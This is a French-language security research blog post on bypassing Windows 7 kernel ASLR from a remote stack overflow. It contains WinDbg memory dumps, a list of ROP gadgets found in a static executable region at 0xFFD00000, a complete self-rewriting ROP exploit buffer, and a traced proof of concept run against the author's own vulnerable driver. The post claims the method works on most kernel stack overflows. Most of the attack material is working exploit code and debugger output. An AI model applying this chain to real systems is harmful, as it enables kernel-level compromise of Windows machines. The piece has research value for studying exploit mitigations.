Bypassing Windows 7 kernel ASLR

Bypassing Windows 7 kernel ASLR

Windows 7 possède des sécurités en noyau assez solides, de nombreuses vérifications de tailles, contrôles d’intégrité ou restrictions d’accès sont présentes. Par exemple le « security_check » protège note pile si une chaine de caractères est utilisée, c’est également le cas quand nous utilisons une fonction dépréciée comme « strcpy() » (certaines ne sont même plus disponibles), ceci pour forcer les développeurs à programmer de façon sécurisée.

C’est pourquoi nous voyons beaucoup de débordements de tas en local (comme l’a démontré Tarjei Mandt) mais nous n’avons aucune (ou très peu) d’exploitation à distance comme à un moment avec SRV.SYS ou d’autres drivers.

Ce manque d’exploits est en parti du à la présence d’une ASLR (génération aléatoire des adresse en mémoire) en noyau. Résultat, si un Hacker n’a plus de moyen de sauter sur le code et exécuter la charge active (ROP, Jmp Eax, …) l’exploitation du bug sera impossible. Nous n’aurons qu’un superbe BSOD dans la majorité des cas. Cet article explique comme contourner la protection à distance et relancera peut être les recherches sur ce domaine. Nous considérerons ici avoir un débordement de tampon à distance sur un driver.

Windows 7 et son ASLR en noyau

Dans Windows Vista une randomisation en espace utilisateur a été implémentée, si le binaire était lui aussi randomisé l’exploitation devenait très difficile et les attaquants utilisaient du heap spraying ou autre méthode de bourrage pour augmenter les chances d’exploitation.

Et maintenant Windows a appliqué la même protection dans son noyau ! Ho noooooooon, et mes exploits ?

Ok, bon nous allons voir si le noyau est vraiment randomisé 🙂

kd> lm
start end module name
80bc2000 80bca000 kdcom (deferred)
81f10000 8215e000 win32k (deferred)
82170000 82179000 TSDDD (deferred)
821a0000 821be000 cdd (deferred)
82801000 82838000 hal (deferred)
82838000 82c4a000 nt (pdb symbols)
82e86000 82e97000 PSHED (deferred)
82e97000 82e9f000 BOOTVID (deferred)
82e9f000 82ee1000 CLFS (deferred)
82ee1000 82f8c000 CI (deferred)
82f8c000 82ffd000 Wdf01000 (deferred)
86a00000 86a1a000 serial (deferred)
86a26000 86a34000 WDFLDR (deferred)
[…]
8fbe3000 8fbf0000 tcpipreg (deferred)
91c0c000 91c5c000 srv2 (deferred)
91c5c000 91cae000 srv (deferred)
91cae000 91d18000 spsys (deferred)
kd> lm
start end module name
80b9d000 80ba5000 kdcom (deferred)
81f20000 8216e000 win32k (deferred)
82180000 82189000 TSDDD (deferred)
821b0000 821ce000 cdd (deferred)
82816000 8284d000 hal (deferred)
8284d000 82c5f000 nt (pdb symbols)
82e94000 82ea5000 PSHED (deferred)
82ea5000 82ead000 BOOTVID (deferred)
82ead000 82eef000 CLFS (deferred)
82ee9000 82f94000 CI (deferred)
82f9a000 82fc3180 vmbus (deferred)
82fc4000 82fdc000 lsi_sas (deferred)
[…]
90363000 90364e00 vmmemctl (deferred)
90365000 903fc000 peauth (deferred)
91805000 91855000 srv2 (deferred)
91855000 918a7000 srv (deferred)
918a7000 91911000 spsys (deferred)

Les adresses sont effectivement différentes.

Après de nombreux redémarrages nous pouvons faire des attaques statistiques et trouver une zone probable où sauter mais rien de vraiment sûr. Aujourd’hui aucun moyen pour contourner la protection n’a été publié, juste le début d’une idée mais rien d’utilisable.

Première publication intéressante

En mi-septembre, Oleksiuk Dmytro (@d_olex) présente la zone partagée entre mode utilisateur et noyau comme vecteur d’attaque. Cette zone mémoire est mappée de façons statique à l’adresse 0xFFDF0000 et a des accès en lecture / écriture / exécution !!!

Nous pouvons le voir sur le screenshot suivant :

Pas de chance seulement deux gadgets ROP sont présents et ce sont des pointeurs, rien d’intéressant pour notre exploitation. Notre recherche commence ici, un espace statique avec des permissions comme jamais on ne devrait en avoir.

Recherche d’un espace utilisable

Nous sommes dans les adresses basses, elles sont utilisées quand Windows se charge, 0xFFDF0000 est documenté mais un certain nombre d’autres espaces sont alloués sans pour autant être documentés.

Nous allons cartographier la zone de 0xFFD00000 à 0xFFDFFFFF et nous verrons si d’autres espaces mémoires sont alloués :

Après plusieurs redémarrages nous pouvons voir que d’autres zones sont également mappées et non uniquement 0xFFDF0000 comme l’évoquait la documentation.

Très bien, nous pouvons donc les utiliser pour mener une attaque de type ROP (Return Oriented Programming) ou quelque chose du genre. Commençons par chercher les ROP gadgets (0xC2 et 0xC3 sont les opcodes de l’instruction « return ») :


kd> s 0xFFD00000 L100000 C3
ffd008ab c3 74 05 e8 24 10 00 00-38 1d 6f e2 48 00 74 30 .t..$...8.o.H.t0
ffd01c74 c3 dc be dc b7 dc b6 dc-af dc 00 00 9d dc 3d dc ..............=.
ffd01f7e c3 00 b4 00 b5 00 c4 00-82 00 c1 00 87 00 f5 00 ................
ffd09008 c3 e2 00 f0 53 ff 00 f0-53 ff 00 f0 54 ff 00 f0 ....S...S...T...
ffd09762 c3 49 6e 76 61 6c 69 64-20 70 61 72 74 69 74 69 .Invalid partiti
ffd2ddab c3 5b 80 52 45 47 53 02-0a 00 0a 04 5b 81 0b 52 .[.REGS.....[..R
ffd35bd9 c3 00 14 0e 5f 43 52 53-00 a4 4d 43 52 53 0b c3 ...._CRS..MCRS..
ffd35be8 c3 00 14 10 5f 4f 53 54-03 4d 4f 53 54 0b c3 00 ...._OST.MOST...
ffd35bf6 c3 00 68 69 6a 14 0e 5f-53 54 41 00 a4 4d 53 54 ..hij.._STA..MST
ffd35c08 c3 00 5b 82 47 04 4d 45-4d 34 08 5f 48 49 44 0c ..[.G.MEM4._HID.
ffd3c0cd c3 01 14 0e 5f 43 52 53-00 a4 4d 43 52 53 0b c3 ...._CRS..MCRS..
ffd3c0dc c3 01 14 10 5f 4f 53 54-03 4d 4f 53 54 0b c3 01 ...._OST.MOST...
ffd3c0ea c3 01 68 69 6a 14 0e 5f-53 54 41 00 a4 4d 53 54 ..hij.._STA..MST
ffd3c0fc c3 01 5b 82 47 04 4d 45-4d 34 08 5f 48 49 44 0c ..[.G.MEM4._HID.
ffdf02f8 c3 00 00 00 00 00 00 00-b0 70 8e 77 b4 70 8e 77 .........p.w.p.w
kd> s 0xFFD00000 L100000 C2
ffd00925 c2 04 00 8b ff 55 8b ec-6a 00 ff 75 08 e8 4d 01 .....U..j..u..M.
ffd0093d c2 04 00 8b ff 55 8b ec-83 ec 10 8d 45 f0 50 ff .....U......E.P.
ffd00972 c2 08 00 8b ff 55 8b ec-83 ec 10 53 56 8b 75 0c .....U.....SV.u.
ffd009fd c2 0c 00 8b ff 55 8b ec-56 57 8b 7d 08 8b 17 8b .....U..VW.}....
ffd00fdc c2 0c 00 8b ff 55 8b ec-83 ec 14 53 41 01 00 00 .....U.....SA...
ffd01f94 c2 00 a5 00 92 00 37 02-8f 00 39 02 b9 00 74 02 ......7...9...t.
ffd2dcac c2 5b 80 52 45 47 53 02-0a 00 0a 04 5b 81 0b 52 .[.REGS.....[..R
ffd35b90 c2 00 14 0e 5f 43 52 53-00 a4 4d 43 52 53 0b c2 ...._CRS..MCRS..
ffd35b9f c2 00 14 10 5f 4f 53 54-03 4d 4f 53 54 0b c2 00 ...._OST.MOST...
ffd35bad c2 00 68 69 6a 14 0e 5f-53 54 41 00 a4 4d 53 54 ..hij.._STA..MST
ffd35bbf c2 00 5b 82 47 04 4d 45-4d 33 08 5f 48 49 44 0c ..[.G.MEM3._HID.
ffd3c084 c2 01 14 0e 5f 43 52 53-00 a4 4d 43 52 53 0b c2 ...._CRS..MCRS..
ffd3c093 c2 01 14 10 5f 4f 53 54-03 4d 4f 53 54 0b c2 01 ...._OST.MOST...
ffd3c0a1 c2 01 68 69 6a 14 0e 5f-53 54 41 00 a4 4d 53 54 ..hij.._STA..MST
ffd3c0b3 c2 01 5b 82 47 04 4d 45-4d 33 08 5f 48 49 44 0c ..[.G.MEM3._HID.

En rouge nous avons les codes exécutables situés à des adresses statiques, l’exploitation par méthode ROP est maintenant possible !

Petit détail, tous les résultats intéressants sont dans la page 0xFFD00000 :


kd> !pte 0xFFD00000
VA ffd00000
PDE at C0603FF0 PTE at C07FE800
contains 000000000018A063 contains 0000000000100163
pfn 18a ---DA--KWEV pfn 100 -G-DA--KWEV

Nous pouvons lire, écrire et exécuter ces pagers… C’est horrible ! (pas pour nous, mais Windows)

Nous pouvons commencer à chercher et construire un gadget ROP utilisable.

Écrire un gadget ROP utilisable

Nous n’avons que six « return » dans 0xFFD00000, les possibilités sont limitées mais plusieurs gars comme « idkwim » ont démontrés que l’exploitation reste possible. Étape suivante, énumérer nos gadgets :


ffd0091d 33c0 xor eax,eax
ffd0091f 5f pop edi
ffd00920 5e pop esi
ffd00921 5b pop ebx
ffd00922 8be5 mov esp,ebp
ffd00924 5d pop ebp
ffd00925 c20400 ret 4

ffd00923 e55d in eax,5Dh
ffd00925 c20400 ret 4

ffd0093c 5d pop ebp
ffd0093d c20400 ret 4

ffd00970 00c9 add cl,cl
ffd00972 c20800 ret 8

ffd009f9 5f pop edi
ffd009fa 5e pop esi
ffd009fb 5b pop ebx
ffd009fc c9 leave
ffd009fd c20c00 ret 0Ch

ffd00fd7 005f5e add byte ptr [edi+5Eh],bl
ffd00fda 5b pop ebx
ffd00fdb c9 leave
ffd00fdc c20c00 ret 0Ch

ffd3c0f5 00a44d5354410b add byte ptr [ebp+ecx*2+0B415453h],ah
ffd3c0fc c3 ret

[Gloups…] Nous avons un gros problème, nous n’avons aucun appel tel que « strcpy() » ou appel similaire et la plus part des « ret » sont des « leave;ret ». Si nous exécutons un « leave;ret » nous casserons notre pile car le registre « Ebp » est écrasé et nous ne pouvons pas prédire son adresse.

Nous avons trois fonctions complètes (les autres sont partiellement réécrites), mais elles ne sont pas directement utilisables. Par exemple la première va cracher lors de l’exécution d’un « call » au milieu de la fonction comme suit :

La deuxième fonction a le même problème. Et la troisième est un poil plus grosse, mais une belle boucle est là pour casser notre exécution 🙁

Le « call » est encore une fois un pointeur vers de mauvaises instructions. L’exploitation est plus dure que prévu…

Il est temps de faire chauffer ‘MyBrain2.0″ !

Échappement d’un ROP limité et exploitation

Rappelons nous les accès précédemment obtenus sur cette zone mémoire, nous pouvons y écrire, nous pouvons donc écrire les instructions que nous souhaitons. Après un stack overflow nous contrôlons presque toujours deux registres, EBP (lorsque le « Pop Ebp » est exécuté) et EIP (forcément), nous pouvons donc exécuter les instructions tel que :


kd> u ffd009b5 L1; u ffd009bd L1; u ffd00a1c L1; u ffd00991 L1
ffd009b5 8945f4 mov dword ptr [ebp-0Ch],eax
ffd009bd 894df8 mov dword ptr [ebp-8],ecx
ffd00a1c 894d08 mov dword ptr [ebp+8],ecx
ffd00991 897d10 mov dword ptr [ebp+10h],edi

Maintenant nous devons contrôler EAX ou ECX ou EDI. Si nous contrôlons l’un d’eux nous pouvons exploiter un stack overflow et bypasser l’ASLR. Nous nous plaçons dans le registre (dans notre cas c’est EAX), et nous mettons dans EBP l’adresse de l’instruction suivante.

Ici EBP va avoir la valeur (0xFFD009BB + 0xC) car nous utilisons un « Mov [EBP-0xCh], EAX » et 0xFFD009BB est l’instruction suivante à exécuter (notre future shellcode).

Quand nous exécutons cette instruction nous réécrirons l’instruction suivante par une valeur arbitraire.

Chaque boucle exécute de nouvelles données et à la fin nous exécutons le shellcode !

Proof Of Concept

L’objectif de ce PoC est de copier notre shellcode après le gadget et le faire s’exécuter lui même. Pour se faire nous devons utiliser un « Rep Movs Byte Ptr [Edi], Byte Ptr [Edi] ». Bien sûr nous devons réécrire les registres ECX, ESI et EDI pour effectuer la copie. EDI doit être l’instruction suivante, ESI un pointeur sur notre shellcode et ECX sa taille.

Pour se faire nous allons boucler et réécrire régulièrement notre gadget. La première chose à faire est d’initialiser EAX et placer un « Retn ». Deux octets sont nécessaires pour effectuer un « Pop Eax » et « Retn », nous avons quatre octets à notre disposition, nous pouvons donc exécuter deux autres instructions. « Pop EDI » va initialiser notre destination et « Inc EBP » décalera le code à réécrire (« Pop EAX » n’a pas besoin d’être réécrit à chaque fois).

Notre première pile est donc :


"\x58\x45\x5f\xc3" // Pop Eax; Inc Ebp; Pop Edi; Ret (Stored in Eax for the first Ret)
"\xc4\x09\xd0\xff" // (@(Mov [ebp-0xc],eax)+3)+C <--------- EBP (3 is size of instruction) "\xb5\x09\xd0\xff" // @(Mov [ebp-0xc],eax) <------------ EIP

L'étape suivante doit récupérer l'adresse de notre shellcode (elle est proche de notre gadget), un "Push ESP" et "Pop ESI" redirigerons le pointeur source vers notre pile.


"\x54\x5e\x90\xc3" // Push Esp; Pop Esi; Nop; Ret
"\xbc\x09\xd0\xff" // @DstShellcode (Edi)
"\xb5\x09\xd0\xff" // @(Mov [ebp-0xc],eax) //Ret

Enfin nous initialisons ECX et déplaçons ESI vers le début du shellcode. Nous faisons ceci en trois étapes :


"\x31\xc9\x41\xc3" // Xor Ecx, Ecx; Inc Ecx; Ret
"\xb5\x09\xd0\xff" // @(Mov [ebp-0xc],eax) //Ret
"\xc1\xe1\x0a\xc3" // Shl Ecx, 0xa; Ret
"\xb5\x09\xd0\xff" // @(Mov [ebp-0xc],eax) //Ret
"\x83\xc6\x20\xc3" // Add Esi, 20; Ret
"\xb5\x09\xd0\xff" // @(Mov [ebp-0xc],eax) //Ret

Nous réécrivons le "Rep Movs Byte Ptr [Edi], Byte Ptr [Edi]" et on p0wn le kernel !


"\xf3\xa4\x90\x90" // Rep Movs Byte Ptr [Edi], Byte Ptr [Esi]; Nop; Nop
"\xb5\x09\xd0\xff" // @(Mov [ebp-0xc],eax) //Ret

Nous avons développé un simple driver vulnérable à un stack overflow pour notre proof of concept, l'attaque ROP est comme suit :


char Exploit[] =
"AAAAa1Aa2Aa3" // Padding
"\x58\x45\x5f\xc3" // Pop Eax; Inc Ebp; Pop Edi; Ret (Eax)
"\xc4\x09\xd0\xff" // (@(Mov [ebp-0xc],eax)+3)+C <------------ EBP "\xb5\x09\xd0\xff" // @(Mov [ebp-0xc],eax) <------------ EIP "ZZZZEEEE" // Padding (Ret 8 ) "\x54\x5e\x90\xc3" // Push Esp; Pop Esi; Nop; Ret "\xbc\x09\xd0\xff" // @DstShellcode (Edi) "\xb5\x09\xd0\xff" // @(Mov [ebp-0xc],eax) //Ret "\x31\xc9\x41\xc3" // Xor Ecx, Ecx; Inc Ecx; Ret "\xb5\x09\xd0\xff" // @(Mov [ebp-0xc],eax) //Ret "\xc1\xe1\x0a\xc3" // Shl Ecx, 0xa; Ret "\xb5\x09\xd0\xff" // @(Mov [ebp-0xc],eax) //Ret "\x83\xc6\x20\xc3" // Add Esi, 20; Ret "\xb5\x09\xd0\xff" // @(Mov [ebp-0xc],eax) //Ret "\xf3\xa4\x90\x90" // Rep Movs Byte Ptr [Edi], Byte Ptr [Edi]; Nop; Nop "\xb5\x09\xd0\xff" // @(Mov [ebp-0xc],eax) //Ret "AAAA" // Padding // And now the shellcode !!! "AAAAAAAAAAAAAAAAAAAAAAAAAAAAA”

Testons notre exploit dans des conditions réelles :


kd> p
BreakMe!vuln+0x26:
9212108e c20800 ret 8
kd> dd esp
9ed177e0 ffd009b5 00000008 00000286 c3905e54
9ed177f0 ffd009bc ffd009b5 c341c931 ffd009b5
9ed17800 c30ae1c1 ffd009b5 c320c683 ffd009b5
9ed17810 9090a4f3 ffd009b5 41414141 41414141
9ed17820 41414141 41414141 41414141 41414141
9ed17830 41414141 41414141 41414141 41414141
9ed17840 41414141 41414141 41414141 41414141
9ed17850 41414141 41414141 41414141 41414141
kd> t
ffd009b8 58 pop eax
kd> t
ffd009b9 45 inc ebp
kd> t
ffd009ba 5f pop edi
kd> t
ffd009bb c3 ret
kd> t
ffd009b5 8945f4 mov dword ptr [ebp-0Ch],eax
[…]
kd> t
ffd009b5 8945f4 mov dword ptr [ebp-0Ch],eax
kd> t
ffd009b8 58 pop eax
kd> t
ffd009b9 f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
kd> r
eax=41414141 ebx=844fe7c0 ecx=00000400 edx=00000001 esi=9ed1781c edi=ffd009bc
eip=ffd009b9 esp=9ed1781c ebp=ffd009c5 iopl=0 nv up ei ng nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000282
ffd009b9 f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
kd> db edi
ffd009bc 90 89 4d f8 e8 41 77 02-00 85 c0 7c 0a 01 75 08 ..M..Aw....|..u.
ffd009cc 2b de 19 7d 10 eb 15 83-c8 ff 03 f0 13 f8 8b ce +..}............
ffd009dc 0b cf 75 0d ff 45 08 03-d8 11 45 10 8b 7d 10 8b ..u..E....E..}..
ffd009ec f3 83 7d 10 00 77 a9 72-04 85 db 77 a3 5f 5e 5b ..}..w.r...w._^[
ffd009fc c9 c2 0c 00 8b ff 55 8b-ec 56 57 8b 7d 08 8b 17 ......U..VW.}...
ffd00a0c 8b f1 89 16 85 c0 74 6a-33 c9 41 3b c1 74 63 53 ......tj3.A;.tcS
ffd00a1c 89 4d 08 8b 4f 04 8d 5a-01 3b cb 75 1d 33 c9 41 .M..O..Z.;.u.3.A
ffd00a2c 48 6a 02 5a 3b c1 76 47-8b 34 8f 46 39 74 8f 04 Hj.Z;.vG.4.F9t..
kd> db esi
9ed1781c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
9ed1782c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
9ed1783c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
9ed1784c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
9ed1785c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
9ed1786c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
9ed1787c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
9ed1788c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
kd> p
ffd009bb 90 nop
kd> t
ffd009bc 41 inc ecx
kd> t
ffd009bd 41 inc ecx
kd> t
ffd009be 41 inc ecx
kd> t
ffd009bf 41 inc ecx
kd> t
ffd009c0 41 inc ecx

L'ASLR est bypassée à distance !

Cet exemple est fait sur notre propre driver vulnérable. Mais une attaque similaire peut être faite sur de nombreuses (presque tous les stack overflows) vulnérabilités.

Conclusion

L'ASLR noyau est une bonne protection mais n'est pas parfaite. Actuellement dans la plupart des cas nous pouvons outrepasser cette randomisation en utilisant quelques adresses statiques de l'espace noyau.

Malheureusement, nous devons dire qu'il n'y n'y a pas de facteur atténuant pour cette attaque (à mon humble avis).